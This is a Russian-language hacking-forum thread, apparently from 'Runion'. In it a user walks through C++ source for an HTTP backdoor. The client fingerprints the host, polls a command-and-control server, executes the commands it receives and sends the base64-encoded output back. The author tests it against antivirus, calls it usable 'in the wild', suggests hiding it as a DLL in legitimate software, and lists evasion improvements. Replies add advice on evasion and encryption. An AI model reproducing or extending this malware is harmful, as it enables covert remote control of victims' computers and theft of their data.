What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Простой бэкдор с работой по HTTP.

omar_hayat

Light Weight
Депозит
$0
Автор: OMAR_HAYAT

Источник:


Давайте рассмотрим все этапы работы софта.


0х01. Собираем первичную инфррмацию о системе в которой запустились.

Когда наш зверёк запустился в системе, нам требуется как то идентифицировать этот запущенный экземпляр. Решил привязать его к UUID системы. Он постоянен и вроде как уникален. Поэтому при многократном запуске экземпляра клиента эта инфа в системе будет постоянна:

C++: Скопировать в буфер обмена
Code:
// определяем UUID системы в которой запустились
FILE* p_uuid;
wchar_t crBuffer[BUFFER];
std::wstring str_uuid;

//команду определения UUID смотреть в дефайне: #define UUID "wmic path win32_computersystemproduct get uuid | findstr .-."
strcpy_s(command, UUID);

if ((p_uuid = _popen(command, "rt")) == NULL)
 exit(1);

while (fgetws(crBuffer, BUFFER, p_uuid))
 str_uuid += base64_encode(std::wstring(crBuffer));


int endOfFileVal = feof(p_uuid);
int closeReturnVal = _pclose(p_uuid);

if (endOfFileVal)
{
 printf("\nProcess returned %d\n", closeReturnVal);
}
else
{
 printf("Error: Failed to read the pipe to the end.\n");
}

Для выполнения команды использовал _popen. Гугление показало что это наиболее удобный способ работы с результатом выполнения команды. Возможно есть варианты лучше. С удовольствием о них почитаю.
Конечно можно воспользоваться WinAPI и собрать нужную инфу применив вызовы определённых функций. В этом случае нарушится идея вынесения логики наших действий на сервер. Какая инфа будет собираться прогой будет написано в самой проге:) С другой стороны может АВ будет более настороженно относится к коду с функцией _popen нежели к коду с вызовами функций WinAPI. Вопрос открытый. Интересно послушать мнение более опытных людей.

Кодирую вывод команды в base64 для простоты работы со строками. В выводе обычно есть разные '\n'. Чтобы с ними не мучатся при составление запроса на сервер, удобнее всё сразу закодировать и работать уже с такой формой.


0х02. Передаем эту информацию на сервер и получаем от сервера команду.

Соединение с сервером для простоты реализовал через HTTP. Интересно было бы в перспективе рассмотреть реализацию через HTTPS и DNS протоколы. Это оставлю на будущее.
Работа с вебом через C++ в эпоху питона оказалась весёлой затеей:) Но я справился и нашёл такую реализацию: hXXps://github[.]com/shaovoon/winhttp_examples
Там есть хорошие примеры в которых легко разобратся.
C++: Скопировать в буфер обмена
Code:
// подготовливаемся к отправке идентифицирующего запроса на сервер
data_for_server = data_for_script + L"&id=" + str_uuid + L"&info=";

using namespace WinHttpWrapper;

const std::wstring requestHeader = L"Content-Type: application/json";
bool https = false;

// требуемые параметры также определяем в дефайнах
HttpRequest req(SERVER, PORT, https);
HttpResponse response;

//делаем запрос на сервер
req.Get(data_for_server, L"", response);
// смотрим что улетело и что получили в ответ
std::wcout << "First request to server: " << SERVER << data_for_server << '\n';
std::cout << "First response server: " << response.text << '\n' << '\n';


Серверную часть реализовал так, что при получении такого запроса сервер возвращает клиенту команду для выполнения.

0х03. Выполняем команду, шифруем вывод команды.
0х04. Отправляем результат на сервер и засыпаем.


Объединим два раздела в один из-за цикла, который будет выполняться до тех пор, пока сервер не попросит программу завершиться.

C++: Скопировать в буфер обмена
Code:
//готовимся выпонять команду и принимать ее вывод
FILE* p_Out_command;
std::wstring str_out_command;
std::wstring str_out_command_base64;

//копируем команду из ответа сервера в переменную
if (response.text != "") {
 strcpy_s(command, response.text.c_str());
}
else {
 // если нет коннекта то завершаем работу проги
 std::cout << "\nNo connect to server...\n";
 exit(1);
}
//будем работать пока сервер не пришлёт команду на завершение работы
while (response.text != "q") {

 //обнуляем строку с результатом выполнения команды
 str_out_command = L"";
 
 // выполняем требуемую команду
 if ((p_Out_command = _popen(command, "rt")) == NULL)
  exit(1);

 // пишем вывод команды в строку
 while (fgetws(crBuffer, BUFFER, p_Out_command))
  str_out_command += std::wstring(crBuffer);

 int endOfFileVal = feof(p_Out_command);
 int closeReturnVal = _pclose(p_Out_command);

 if (endOfFileVal)
 {
  printf("\nProcess returned %d\n", closeReturnVal);
 }
 else
 {
  printf("Error: Failed to read the pipe to the end.\n");
 }

 //кодируем строку
 str_out_command_base64 = base64_encode(str_out_command);

 // глядим на результат выполнения
 std::wcout << "Result run command: " << str_out_command;

 //обнулим ответ от сервера
 response.Reset();

 //отправляем результат вывода команды на сервер
 std::wstring str_sec_req = data_for_script + L"&id=" + str_uuid + L"&info=" + str_out_command_base64;
 
 //поглядим что хотим отправить серверу во второй раз
 std::wcout << "Second request to server: " << str_sec_req << '\n';

 //отправляем
 req.Get(str_sec_req, L"", response);

 // глядим что пришло в ответ
 std::cout << "Second response server: " << response.text;

 // анализируем ответ сервера
 if (response.text == "s") {
  //если сервер сказал что пора поспать, то делаем долгую задержку
  std::cout << "\nSleep one minute.\n";
  strcpy_s(command, "");
  Sleep(60000);
 }
 else
 {
  // если спать не просили, значить надо выполнять команду, которую прислал сервер
  strcpy_s(command, response.text.c_str());
  std::cout << "\nSleep five sec. \n";
  Sleep(5000);
 }
}


Шифрование передаваемой в параметре info информации для простоты реализации выполнил через base64. Этот вопрос так же требует изучения и интересно попробовать реализации с другими алгоритмами шифрования. Как мне кажется тут достаточно будет симметричных алгоритмов. Хотя послушать иные мнения буду не против.

Функцию кодировки взял из заголовочного файла base64.h с этого поста Респект <автору> за реализацию.

Временная задержка реализована через Sleep. Такое решение конечно так себе. Интересно будет попробовать реализовать таймер через время работы проги или что то подобное. Помниться такое работало на C когда приходилось работать с Arduino. Думаю в плюсах тоже должно получиться.

0х05. Детект АВ.

В этом вопросе решил пройти самым простым путём. Залил экзешник на ВТ. Всё равно требуются существенные дополнения кода. Думаю утечка этого бинаря будет не фатальна.



Как по мне результат более чем отличный. Сборку делал в MSVS 2022. Думаю даже в таком виде можно пробовать это изделие применять в "дикой природе".

Через некоторое время подчистил код. Закоментил все выводы инфы на экран через std::cout. Убрал ненужные инклуды, которые добавлял раньше для экспериментов. Отключил вывод консольного окна. Размер экзешника уменьшился на чуть чуть. Но и детектов стало не два, а три.




0х06. Вывод.

В первом приближении цель достигнута. Было реализованно в простом варианте соединение с сервером через HTTP, получение и выполнение команды и возврат результата выполнения на сервер. Размер экзешника получился порядка 200 КБ. Для "правосланой" малвари размер гигантский. Хотя если её не совать бинарником в какой то эксплойт, а пристоить динамической библиотекой к какой то легитимной проге, то можно попробовать для простого закрепления в системе.

Так же определился круг вопросов по улучшению текущей версии:
- уменьшение размера бинаря за счёт отказа от бибилиотек;
- работа с протоколами HTTPS, DNS и его собрат с шифрованием трафика;
- шифрование передаваемой инфы более интересными алгоритмами нежели base64;
- реализация таймера для управлением временными задержками в программе;
- добавить обфускацию строк.

Буду очень признателен если неравнодушные читатели поделяться своим опытом реализации вопросов затронутых в этой статье. Хотелось бы узнать альтарнативную точку зрения проверенную на практике. Особенно что касается взаимодействия клиента с сервером и наоборот. Я попытался предусмотреть случай разрыва связи с сервером. Только не знаю, достаточно такого или нет.

Пасс к архивам местный, закодированный base64.

Всем добра!



Вложения​


  • source.zip
    7.9 КБ · Просмотры: 24

  • PHP_script.zip
    1.6 КБ · Просмотры: 22
 
omar_hayat сказал(а):
Для выполнения команды использовал _popen
Нажмите, чтобы раскрыть...
Вообще, лучше новыми процессами не спаммить, когда этого можно не делать. WMI доступен через COM и интерфейсы IWbem*.

omar_hayat сказал(а):
Интересно было бы в перспективе рассмотреть реализацию через HTTPS
Нажмите, чтобы раскрыть...
Да, по хорошему это нужно сделать, тк отправка/прием данных в открытом виде - это не безопасно.

omar_hayat сказал(а):
шифрование передаваемой инфы более интересными алгоритмами нежели base64
Нажмите, чтобы раскрыть...
Я бы не стал называть Base64 шифрованием, это - простое кодирование. Можно, конечно, как-то перемешать символьный вектор, который использует алгоритм, и тогда двумя строчками на Петухоне его уже не раскодировать, но это все равно далеко от хоть какой-то криптографической стойкости.
 
Вы можете попробовать использовать AES-CBC для шифрования передаваемых данных.
Какой пароль для распаковки вложения?
 
Что-то пароль не принимает:

echo | base64
eHNzLmlzCg==
Если пароль типа eHNzLmlzCg==, то не работает
 
Top